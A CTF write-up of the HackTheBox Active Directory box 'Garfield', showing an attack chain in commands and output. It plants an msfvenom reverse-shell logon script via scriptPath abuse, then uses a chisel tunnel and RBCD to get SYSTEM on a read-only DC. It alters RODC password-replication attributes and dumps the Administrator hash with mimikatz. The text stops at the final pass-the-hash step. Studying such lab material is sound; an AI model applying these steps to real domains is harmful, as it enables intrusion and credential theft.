File Nº 0x6D / Subject: m0rgxn
Local --:--:--
← All writeupsCase 08 · Filed 24 Aug 2026 · HackTheBox · 10 min read

Garfield

Rooted

Two-DC AD box abusing RODC credential caching


Evidence photo — case 08
Difficulty: Hard Garfield is an Active Directory box with a two-DC topology: a writable Domain Controller (DC01, reachable on the target subnet) and a Read-Only Domain Controller (RODC01) sitting on an internal network (192.168.100.0/24). The intended path chains together a handful of AD misconfigurations:
  1. Assume-breach creds for j.arbuckle give us domain access.
  2. j.arbuckle has WRITE on the scriptPath attribute of l.wilson and l.wilson_adm, and we can write to the logon-script folder in SYSVOL. Combining the two gives code execution as any user who logs in.
  3. We overwrite the SYSVOL logon script with a reverse shell and point l.wilson's scriptPath at it, giving a foothold as l.wilson.
  4. l.wilson can reset l.wilson_adm's password over LDAP. l.wilson_adm is an RODC administrator, which gives user access and WinRM.
  5. From there we pivot to the internal RODC, abuse RBCD to get SYSTEM on RODC01, then manipulate the RODC's msDS-NeverRevealGroup / msDS-RevealOnDemandGroup to force the RODC to cache the Administrator hash, dump it with mimikatz, and get Domain Admin.
Bash
PORT     STATE SERVICE       REASON          VERSION
53/tcp   open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp   open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-08-21 19:27:36Z)
135/tcp  open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: garfield.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds? syn-ack ttl 127
464/tcp  open  kpasswd5?     syn-ack ttl 127
593/tcp  open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped    syn-ack ttl 127
2179/tcp open  vmrdp?        syn-ack ttl 127
3268/tcp open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: garfield.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped    syn-ack ttl 127
3389/tcp open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
|_ssl-date: 2026-08-21T19:28:41+00:00; +7h59m58s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: GARFIELD
|   NetBIOS_Domain_Name: GARFIELD
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: garfield.htb
|   DNS_Computer_Name: DC01.garfield.htb
|   DNS_Tree_Name: garfield.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2026-08-21T19:28:01+00:00
| ssl-cert: Subject: commonName=DC01.garfield.htb
| Issuer: commonName=DC01.garfield.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-08-20T19:25:57
|_Not valid after:  2027-02-19T19:25:57
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
|_clock-skew: mean: 7h59m57s, deviation: 0s, median: 7h59m57s
The scan is a textbook Domain Controller: DNS (53), Kerberos (88/464), LDAP/LDAPS/GC (389/636/3268/3269), SMB (445), and RDP (3389). From the rdp-ntlm-info we learn the domain is garfield.htb and the host is DC01.garfield.htb. Note SMB signing is required (Message signing enabled and required), so relaying attacks against this host are off the table. There is also a large clock skew (~8h) versus the scanner, which matters once we start using Kerberos, so keep host time synced (ntpdate / faketime) when requesting tickets. Add the hostnames to /etc/hosts before continuing:
Bash
10.129.244.207  garfield.htb dc01.garfield.htb DC01
This is an assume-breach scenario, so we start with a valid low-privileged account for j.arbuckle. First we validate it against SMB:
Bash
[Aug 21, 2026 - 12:44:12 (CET)] exegol-htb garfield # nxc smb dc01.garfield.htb -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978'                                         
SMB         10.129.244.207  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.244.207  445    DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
The [+] confirms the credentials are good. With a working account, the goal in this phase is to map what j.arbuckle can read and, more importantly, write. We enumerate shares and spider them for interesting files with NetExec's spider_plus module:
Bash
[Aug 21, 2026 - 12:45:32 (CET)] exegol-htb garfield # nxc smb dc01.garfield.htb -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' -M spider_plus
SMB         10.129.244.207  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.244.207  445    DC01             [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978 
SPIDER_PLUS 10.129.244.207  445    DC01             [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.129.244.207  445    DC01             [*]  DOWNLOAD_FLAG: False
SPIDER_PLUS 10.129.244.207  445    DC01             [*]     STATS_FLAG: True
SPIDER_PLUS 10.129.244.207  445    DC01             [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.129.244.207  445    DC01             [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.129.244.207  445    DC01             [*]  MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.129.244.207  445    DC01             [*]  OUTPUT_FOLDER: /root/.nxc/modules/nxc_spider_plus
SMB         10.129.244.207  445    DC01             [*] Enumerated shares
SMB         10.129.244.207  445    DC01             Share           Permissions     Remark
SMB         10.129.244.207  445    DC01             -----           -----------     ------
SMB         10.129.244.207  445    DC01             ADMIN$                          Remote Admin
SMB         10.129.244.207  445    DC01             C$                              Default share
SMB         10.129.244.207  445    DC01             IPC$            READ            Remote IPC
SMB         10.129.244.207  445    DC01             NETLOGON        READ            Logon server share 
SMB         10.129.244.207  445    DC01             SYSVOL          READ            Logon server share 
SPIDER_PLUS 10.129.244.207  445    DC01             [+] Saved share-file metadata to "/root/.nxc/modules/nxc_spider_plus/10.129.244.207.json".
SPIDER_PLUS 10.129.244.207  445    DC01             [*] SMB Shares:           5 (ADMIN$, C$, IPC$, NETLOGON, SYSVOL)
SPIDER_PLUS 10.129.244.207  445    DC01             [*] SMB Readable Shares:  3 (IPC$, NETLOGON, SYSVOL)
SPIDER_PLUS 10.129.244.207  445    DC01             [*] SMB Filtered Shares:  1
SPIDER_PLUS 10.129.244.207  445    DC01             [*] Total folders found:  20
SPIDER_PLUS 10.129.244.207  445    DC01             [*] Total files found:    8
Only the default NETLOGON and SYSVOL shares are readable, nothing custom. That's still useful: NETLOGON/SYSVOL are where logon scripts live, so anything there is a candidate for script-based execution. Inspecting the metadata JSON that spider_plus saved shows a single interesting artefact, printerDetect.bat, appearing in both NETLOGON and SYSVOL:
Bash
[Aug 21, 2026 - 12:46:27 (CET)] exegol-htb garfield # cat /root/.nxc/modules/nxc_spider_plus/10.129.244.207.json | jq .
{
  "NETLOGON": {
    "printerDetect.bat": {
      "atime_epoch": "2025-09-12 23:20:28",
      "ctime_epoch": "2025-09-12 23:20:17",
      "mtime_epoch": "2025-09-12 23:25:38",
      "size": "217 B"
    }
  }
<SNIP> 
   "SYSVOL": {
	<SNIP>
    "garfield.htb/scripts/printerDetect.bat": {
      "atime_epoch": "2025-09-12 23:20:28",
      "ctime_epoch": "2025-09-12 23:20:17",
      "mtime_epoch": "2025-09-12 23:25:38",
      "size": "217 B"
    }
  }
The two files share identical size and timestamps, they are the same file. This makes sense: NETLOGON is a share pointing at %SystemRoot%\SYSVOL\sysvol\<domain>\scripts, so \NETLOGON\printerDetect.bat and \SYSVOL\garfield.htb\scripts\printerDetect.bat are two views of one file on disk. The scripts subfolder is exactly where AD looks for logon scripts referenced by a user's scriptPath attribute. We pull the file down over SMB and read it:
Bash
[Aug 21, 2026 - 12:49:20 (CET)] exegol-htb garfield # smbclient -U 'j.arbuckle'  \\dc01.garfield.htb\NETLOGON
Password for [WORKGROUP\j.arbuckle]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Jan 27 23:13:47 2026
  ..                                  D        0  Tue Jan 27 23:13:47 2026
  printerDetect.bat                   A      217  Fri Sep 12 23:20:29 2025

		9250815 blocks of size 4096. 972546 blocks available
smb: \> get printerDetect.bat
getting file \printerDetect.bat of size 217 as printerDetect.bat (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
smb: \> exit
[Aug 21, 2026 - 12:49:38 (CET)] exegol-htb garfield # cat printerDetect.bat                                            
@echo off
echo Detecting installed printers...
echo ==============================

wmic printer get Name,DeviceID,PortName,DriverName,Shared,Status /format:table

echo.
echo Printer detection completed.
pause#   
It's a harmless printer discovery script. We don't yet know which user (if any) runs it at logon, but the fact that it lives in the scripts folder strongly hints it's a logon script. We ask BloodyAD what our user can write across the directory:
Bash
[Aug 21, 2026 - 12:53:22 (CET)] exegol-htb garfield # bloodyad -H  dc01.garfield.htb -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' get writable

distinguishedName: CN=Guest,CN=Users,DC=garfield,DC=htb
permission: WRITE

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=garfield,DC=htb
permission: WRITE

distinguishedName: CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb
permission: WRITE

distinguishedName: CN=Jon Arbuckle,CN=Users,DC=garfield,DC=htb
permission: WRITE

distinguishedName: CN=Liz Wilson,CN=Users,DC=garfield,DC=htb
permission: WRITE

distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb
permission: WRITE

distinguishedName: DC=garfield.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=garfield,DC=htb
permission: CREATE_CHILD

distinguishedName: DC=_msdcs.garfield.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=garfield,DC=htb
permission: CREATE_CHILD
The two entries that stand out are Liz Wilson (l.wilson) and Liz Wilson ADM (l.wilson_adm); the _adm suffix is a strong tell for a privileged administrative account, which is a more attractive target. To see which attributes we can write, we re-run with --detail:
Bash
[Aug 21, 2026 - 12:53:40 (CET)] exegol-htb garfield # bloodyad -H  dc01.garfield.htb -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' get writable --detail

<SNIP>
distinguishedName: CN=Liz Wilson,CN=Users,DC=garfield,DC=htb
scriptPath: WRITE

distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb
scriptPath: WRITE

distinguishedName: DC=garfield.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=garfield,DC=htb
dnsNode: CREATE_CHILD
dnsZoneScopeContainer: CREATE_CHILD

distinguishedName: DC=_msdcs.garfield.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=garfield,DC=htb
dnsNode: CREATE_CHILD
dnsZoneScopeContainer: CREATE_CHILD
The specific permission is WRITE on the scriptPath attribute of both l.wilson and l.wilson_adm. This is the pivot point that connects everything we've found so far.
TL;DR: scriptPath names a batch/script file in \\<dc>\SYSVOL\<domain>\scripts that runs automatically at that user's logon. We have WRITE on scriptPath and write access to the scripts folder, so we replace printerDetect.bat with a reverse shell and set a target's scriptPath to it. Next time they log in, the DC runs our payload as that user.
The scriptPath attribute stores the filename of a logon script that Active Directory runs for that user every time they log in. Two conditions have to hold for this to give us execution:
  1. We must be able to set scriptPath on a target user, which we can (BloodyAD confirmed WRITE).
  2. The script we point to must exist in the domain's logon-script folder, C:\Windows\SYSVOL\sysvol\<domain>\scripts (exposed as \\dc01\SYSVOL\garfield.htb\scripts and \\dc01\NETLOGON), which is where printerDetect.bat already lives.
There is no way for us to trigger the script remotely on demand; it fires when the target user authenticates interactively. So the plan is: overwrite printerDetect.bat in SYSVOL with a malicious payload, then set the target's scriptPath to printerDetect.bat, and wait for their logon to run our code. Before building a payload, we confirm j.arbuckle can actually write into the scripts folder (write access to scriptPath in AD is useless if we can't drop the file it points to):
Bash
[Aug 21, 2026 - 13:08:23 (CET)] exegol-htb garfield # smbclient -U 'j.arbuckle'  \\dc01.garfield.htb\SYSVOL 
Password for [WORKGROUP\j.arbuckle]:
Try "help" to get a list of possible commands.
smb: \> cd garfield.htb
smb: \garfield.htb\> cd scripts
smb: \garfield.htb\scripts\> ls
  .                                   D        0  Tue Jan 27 23:13:47 2026
  ..                                  D        0  Tue Jan 27 23:13:47 2026
  printerDetect.bat                   A      217  Fri Sep 12 23:20:29 2025

		9250815 blocks of size 4096. 989773 blocks available
smb: \garfield.htb\scripts\> put printerDetect.bat
putting file printerDetect.bat as \garfield.htb\scripts\printerDetect.bat (0.8 kb/s) (average 0.8 kb/s)
smb: \garfield.htb\scripts\> get printerDetect.bat
getting file \garfield.htb\scripts\printerDetect.bat of size 217 as printerDetect.bat (0.6 KiloBytes/sec) (average 0.6 KiloBytes/sec)
The put succeeds, we have write access to the logon-script folder. Everything is in place. We generate a reverse-shell batch payload with msfvenom and save it over our local copy of printerDetect.bat:
Bash
[Aug 21, 2026 - 13:14:33 (CET)] exegol-htb garfield # msfvenom -p cmd/windows/reverse_powershell lhost=10.10.17.218 lport=9001 > printerDetect.bat     
Then we upload it, overwriting the original in SYSVOL:
Bash
[Aug 21, 2026 - 13:14:13 (CET)] exegol-htb garfield # smbclient -U 'j.arbuckle'  \\dc01.garfield.htb\SYSVOL -D 'garfield.htb/scripts' -c 'put printerDetect.bat'
Password for [WORKGROUP\j.arbuckle]:
putting file printerDetect.bat as \garfield.htb\scripts\printerDetect.bat (1.7 kb/s) (average 1.7 kb/s)
Before setting scriptPath, it's worth confirming which of the two users is the more valuable target. The scriptPath attribute was empty on both l.wilson and l.wilson_adm, so either is a valid trigger, but we want to know what each one buys us. Collecting the graph with RustHound and reviewing it in BloodHound makes the answer clear:
BloodHound outbound rights from l.wilson
l.wilson can reset l.wilson_adm
The graph confirms the intuition from the _adm naming: l.wilson_adm is the privileged account (an RODC administrator), and l.wilson has the ability to reset l.wilson_adm's password. So the cleanest path is: land a shell as l.wilson first, then use that session to take over l.wilson_adm. One gotcha: the value of scriptPath must be just the filename (printerDetect.bat), not a path. My first attempt was to point it at a full UNC path (e.g. \\dc01\SYSVOL\garfield.htb\scripts\printerDetect.bat) hoping to control exactly which file ran, but that didn't work, the script never fired. The Domain Controller resolves the bare filename automatically relative to the SYSVOL scripts folder (%SystemRoot%\SYSVOL\sysvol\<domain>\scripts), so the value has to be printerDetect.bat and nothing more. We set it on both users to maximise the chance of a logon firing:
Bash
[Aug 22, 2026 - 13:18:23 (CET)] exegol-htb garfield # bloodyad -H  dc01.garfield.htb -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' set object 'CN=Liz Wilson,CN=Users,DC=garfield,DC=htb' scriptPath -v 'printerDetect.bat'
[+] CN=Liz Wilson,CN=Users,DC=garfield,DC=htb's scriptPath has been updated
[Aug 22, 2026 - 13:18:25 (CET)] exegol-htb garfield # bloodyad -H  dc01.garfield.htb -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' set object 'CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb' scriptPath -v 'printerDetect.bat'
With a listener waiting, the next time the target logs in the DC runs our batch file and calls back:
Bash
[Aug 21, 2026 - 13:15:02 (CET)] exegol-htb garfield # rlwrap nc -nvlp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.244.207.
Ncat: Connection from 10.129.244.207:49581.
Microsoft Windows [Version 10.0.17763.8389]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
garfield\l.wilson
We have a foothold as garfield\l.wilson. BloodHound told us l.wilson can reset l.wilson_adm's password. The native net user approach fails (l.wilson doesn't have the classic account-operator rights that command relies on):
Powershell
PS C:\Users\l.wilson> net user l.wilson_adm "Password123!" /domain
nSystem error 5 has occurred.
et user l.wilson_adm "Password123!" /domain
PS C:\Users\l.wilson> 
Access is denied.
But the ForceChangePassword right is exposed through the AD PowerShell module, so Set-ADAccountPassword -Reset works:
Powershell
PS C:\Users\l.wilson> $NewPassword = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$NewPassword = ConvertTo-SecureString "Password123!" -AsPlainText -Force
PS C:\Users\l.wilson> Set-ADAccountPassword -Identity "l.wilson_adm" -NewPassword $NewPassword -Reset
Set-ADAccountPassword -Identity "l.wilson_adm" -NewPassword $NewPassword -Reset
PS C:\Users\l.wilson> 
Bash
[Aug 21, 2026 - 13:44:55 (CET)] exegol-htb garfield # nxc smb dc01.garfield.htb -u l.wilson_adm -p Password123!                      
SMB         10.129.244.207  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.244.207  445    DC01             [+] garfield.htb\l.wilson_adm:Password123! 
l.wilson_adm is an administrator of the Read-Only Domain Controller (RODC01), this is the account that will eventually let us reach the RODC, take it over, and abuse RODC credential caching to compromise the whole domain. l.wilson_adm can log in over WinRM (Evil-WinRM), and the user flag sits on its desktop:
Powershell
*Evil-WinRM* PS C:\Users\l.wilson_adm\desktop> ls


    Directory: C:\Users\l.wilson_adm\desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        8/21/2026  12:26 PM             34 user.txt
l.wilson_adm's group membership confirms it administers the RODC. The RODC (RODC01) is not on the target subnet, it lives on an internal network. From our l.wilson_adm session on DC01 we can reach it:
Powershell
    + FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell.Commands.GetHostCommand
*Evil-WinRM* PS C:\programdata\chisel> ping rodc01

Pinging rodc01.garfield.htb [192.168.100.2] with 32 bytes of data:
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128

Ping statistics for 192.168.100.2:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms
RODC01 sits at 192.168.100.2 on an internal 192.168.100.0/24 segment that only DC01 can talk to. To attack it directly from our box, we need a tunnel. We upload chisel to DC01 and start a reverse SOCKS proxy back to our attacking machine:
Powershell
*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> cd \programdata
*Evil-WinRM* PS C:\programdata> wget http://10.10.17.218:8000/chisel.zip -o chisel.zip 
*Evil-WinRM* PS C:\programdata> expand-archive chisel.zip
cd chisel
*Evil-WinRM* PS C:\programdata> cd chisel
*Evil-WinRM* PS C:\programdata\chisel> ls


    Directory: C:\programdata\chisel


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        7/10/2026  12:55 PM       10958336 chisel.exe

*Evil-WinRM* PS C:\programdata\chisel> ./chisel.exe client 10.10.17.218:8888 R:socks
chisel.exe : 2026/08/21 17:53:31 client: Connecting to ws://10.10.17.218:8888
    + CategoryInfo          : NotSpecified: (2026/08/21 17:5....10.17.218:8888:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
2026/08/21 17:53:32 client: Connected (Latency 65.8031ms)
With the chisel server running on our side (chisel server -p 8888 --reverse --socks5) and proxychains configured to use 127.0.0.1:1080, we can now route Impacket tooling to RODC01 through DC01.
Note: the target machine was reset at this point in the engagement, so the DC01 IP changes from 10.129.244.207 to 10.129.106.96 in the commands below. Both refer to the same writable Domain Controller.
We hold l.wilson_adm, which has write access over the RODC01$ computer object. The cleanest way to turn that into code execution on the RODC is Resource-Based Constrained Delegation (RBCD): if we control a computer account and can write msDS-AllowedToActOnBehalfOfOtherIdentity on RODC01$, we can have our machine account impersonate any user (e.g. administrator) to services on RODC01.
Don't change the RODC01$ password. Changing the RODC01 computer account appeared to invalidate the RBCD attack path. Since the RODC is not writable, my guess is once we change its password, it can't communicate to the writable domain controller anymore with the hash stored in its memory.
First we need a computer account we control. By default any domain user can add up to ten (MachineAccountQuota), so we create m0rgxn$:
Bash
[Aug 23, 2026 - 19:18:46 (CET)] exegol-htb garfield # nxc smb dc01.garfield.htb -u l.wilson_adm -p Password123! -M add-computer -o NAME=m0rgxn PASSWORD=Password123!
SMB         10.129.106.96   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.106.96   445    DC01             [+] garfield.htb\l.wilson_adm:Password123! 
ADD-COMP... 10.129.106.96   445    DC01             Successfully added the machine account: 'm0rgxn$' with Password: 'Password123!'
Then we configure RODC01$ to allow m0rgxn$ to act on its behalf, and read it back to confirm:
Bash
[Aug 23, 2026 - 19:19:08 (CET)] exegol-htb garfield # rbcd.py -delegate-from 'm0rgxn$' -delegate-to 'rodc01$' -action 'write' 'garfield.htb/l.wilson_adm:Password123!' -dc-ip 10.129.106.96
Impacket (Exegol fork) v0.14.0.dev0+20260120.113623.b52b6449 - Copyright Fortra, LLC and its affiliated companies 

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] m0rgxn$ can now impersonate users on rodc01$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     m0rgxn$      (S-1-5-21-2502726253-3859040611-225969357-11101)
[Aug 23, 2026 - 19:19:15 (CET)] exegol-htb garfield # rbcd.py -delegate-from 'm0rgxn$' -delegate-to 'rodc01$' -action 'read' 'garfield.htb/l.wilson_adm:Password123!' -dc-ip 10.129.106.96 
Impacket (Exegol fork) v0.14.0.dev0+20260120.113623.b52b6449 - Copyright Fortra, LLC and its affiliated companies 

[*] Accounts allowed to act on behalf of other identity:
[*]     m0rgxn$      (S-1-5-21-2502726253-3859040611-225969357-11101)
Now we abuse S4U2Self/S4U2Proxy to request a service ticket for cifs/rodc01.garfield.htb as the Administrator, impersonating them onto the RODC:
Bash
[Aug 24, 2026 - 03:19:42 (CET)] exegol-htb garfield # getST.py -spn cifs/rodc01.garfield.htb -impersonate administrator garfield.htb/'m0rgxn$':'Password123!'

Impacket (Exegol fork) v0.14.0.dev0+20260120.113623.b52b6449 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator@cifs_rodc01.garfield.htb@GARFIELD.HTB.ccache
[Aug 24, 2026 - 03:19:51 (CET)] exegol-htb garfield # export KRB5CCNAME=administrator@cifs_rodc01.garfield.htb@GARFIELD.HTB.ccache
[Aug 24, 2026 - 04:24:59 (CET)] exegol-htb garfield # proxychains -q psexec.py -k -no-pass RODC01.garfield.htb
Impacket (Exegol fork) v0.14.0.dev0+20260120.113623.b52b6449 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on RODC01.garfield.htb.....
[*] Found writable share ADMIN$
[*] Uploading file FjkBgVOo.exe
[*] Opening SVCManager on RODC01.garfield.htb.....
[*] Creating service IaPM on RODC01.garfield.htb.....
[*] Starting service IaPM.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.8511]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system
We have SYSTEM on RODC01 via the tunnel. Note this ticket authenticates us to the RODC as Administrator, but on an RODC that doesn't mean we've got the domain Administrator's secrets yet. That requires abusing the RODC's password-replication policy. We'll need mimikatz on the RODC to dump the cached hash later, so we copy it in over the tunnel while we have Kerberos access:
Bash
[Aug 24, 2026 - 04:31:40 (CET)] exegol-htb garfield # proxychains smbclient.py garfield.htb/administrator@rodc01.garfield.htb -k -no-pass
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 
Impacket (Exegol fork) v0.14.0.dev0+20260120.113623.b52b6449 - Copyright Fortra, LLC and its affiliated companies 

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.2:445  ...  OK
Type help for list of commands
# use C$
# cd ProgramData
# put mimikatz.exe 
# exit
TL;DR: An RODC only caches secrets for principals in its msDS-RevealOnDemandGroup (allow-list) and not in its msDS-NeverRevealGroup (deny-list, which wins). Administrator is denied by default via the Denied RODC Password Replication Group. Since l.wilson_adm can write both attributes on RODC01$ (by adding ourselves to the RODC Administrators group), we point the deny-list at a group Administrator isn't in (IT Support), add Administrator to the allow-list, force replication with repadmin /rodcpwdrepl, then dump the now-cached hash with mimikatz from our SYSTEM shell on the RODC.
A Read-Only Domain Controller does not store all account secrets. To authenticate a principal locally, the RODC must be allowed to retrieve their credentials from a writable DC and cache them. That decision is governed by two attributes on the RODC computer object:
  • msDS-RevealOnDemandGroup: principals whose secrets the RODC may cache (allow-list).
  • msDS-NeverRevealGroup: principals whose secrets the RODC must never cache (deny-list, takes precedence).
By default, Administrator (and other sensitive accounts) sit inside the Denied RODC Password Replication Group, which is in msDS-NeverRevealGroup, so the RODC refuses to cache the Administrator hash. Because l.wilson_adm can write these attributes on RODC01$, we can change the policy: remove Administrator from the deny path and add them to the allow path, then trigger replication and dump the cached hash. Full reference: msDS-RevealOnDemandGroup, msDS-NeverRevealGroup, and credential caching.
Bash
[Aug 24, 2026 - 04:40:27 (CET)] exegol-htb garfield # bloodyad -H  dc01.garfield.htb -u 'l.wilson_adm' -p 'Password123!' get object 'RODC01$' --attr msDS-NeverRevealGroup 

distinguishedName: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
msDS-NeverRevealGroup: CN=Denied RODC Password Replication Group,CN=Users,DC=garfield,DC=htb
Administrator in the Denied RODC Password Replication Group
The Administrator is a member of the Denied RODC Password Replication Group, which is exactly what msDS-NeverRevealGroup points at. That deny entry would block caching, so we need to replace it. We overwrite msDS-NeverRevealGroup with a harmless group (IT Support) that Administrator is not a member of, effectively lifting the block:
Bash
[Aug 24, 2026 - 04:46:07 (CET)] exegol-htb garfield # bloodyad -H  dc01.garfield.htb -u 'l.wilson_adm' -p 'Password123!' set object 'RODC01$' msDS-NeverRevealGroup -v 'CN=IT SUPPORT,CN=USERS,DC=GARFIELD,DC=HTB'
[+] RODC01$'s msDS-NeverRevealGroup has been updated
[Aug 24, 2026 - 04:46:12 (CET)] exegol-htb garfield # bloodyad -H  dc01.garfield.htb -u 'l.wilson_adm' -p 'Password123!' get object 'RODC01$' --attr msDS-NeverRevealGroup   

distinguishedName: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
msDS-NeverRevealGroup: CN=IT Support,CN=Users,DC=garfield,DC=htb
With the deny path cleared, we add the Administrator DN to msDS-RevealOnDemandGroup so the RODC is permitted to cache their secret:
Bash
[Aug 24, 2026 - 04:43:07 (CET)] exegol-htb garfield # bloodyad -H  dc01.garfield.htb -u 'l.wilson_adm' -p 'Password123!' get object 'RODC01$' --attr msDS-RevealOnDemandGroup

distinguishedName: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
msDS-RevealOnDemandGroup: CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb; CN=Administrator,CN=Users,DC=garfield,DC=htb
From our SYSTEM shell on RODC01, we force the RODC to pull (and cache) the Administrator secret from DC01 with repadmin /rodcpwdrepl, then dump it with mimikatz:
Bash
C:\ProgramData> repadmin /rodcpwdrepl rodc01 dc01.garfield.htb "CN=Administrator,CN=Users,DC=garfield,DC=htb"

Successfully replicated secrets for user CN=Administrator,CN=Users,DC=garfield,DC=htb on read-only DC rodc01 from full DC dc01.garfield.htb.

C:\ProgramData> .\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::lsa /inject /name:Administrator" "exit"

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # token::elevate
Token Id  : 0
User name : 
SID name  : NT AUTHORITY\SYSTEM

540	{0;000003e7} 1 D 20133     	NT AUTHORITY\SYSTEM	S-1-5-18	(04g,21p)	Primary
 -> Impersonated !
 * Process Token : {0;000003e7} 0 D 1332873   	NT AUTHORITY\SYSTEM	S-1-5-18	(04g,28p)	Primary
 * Thread Token  : {0;000003e7} 1 D 1358277   	NT AUTHORITY\SYSTEM	S-1-5-18	(04g,21p)	Impersonation (Delegation)

mimikatz(commandline) # lsadump::lsa /inject /name:Administrator
Domain : GARFIELD / S-1-5-21-2502726253-3859040611-225969357

RID  : 000001f4 (500)
User : Administrator

 * Primary
    NTLM : ee238f6debc752010428f20875b092d5
    LM   : 
  Hash NTLM: ee238f6debc752010428f20875b092d5
    ntlm- 0: ee238f6debc752010428f20875b092d5
<SNIP>

 * Kerberos-Newer-Keys
    Default Salt : GARFIELD.HTBAdministrator
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 53b9e15b84f5b44ca093b5a74098b26aae113a806a9a7ff647754dc6518e9c29
      aes128_hmac       (4096) : f0aaabf4238c8cb0cf30b123d15bc579
      des_cbc_md5       (4096) : ce8067135851fdf1

mimikatz(commandline) # exit
Bye!
We now have the domain Administrator NTLM hash: ee238f6debc752010428f20875b092d5. Finally we validate the hash against the writable Domain Controller with a pass-the-hash, this is what actually confers full control of the domain (as opposed to the RODC):
Bash
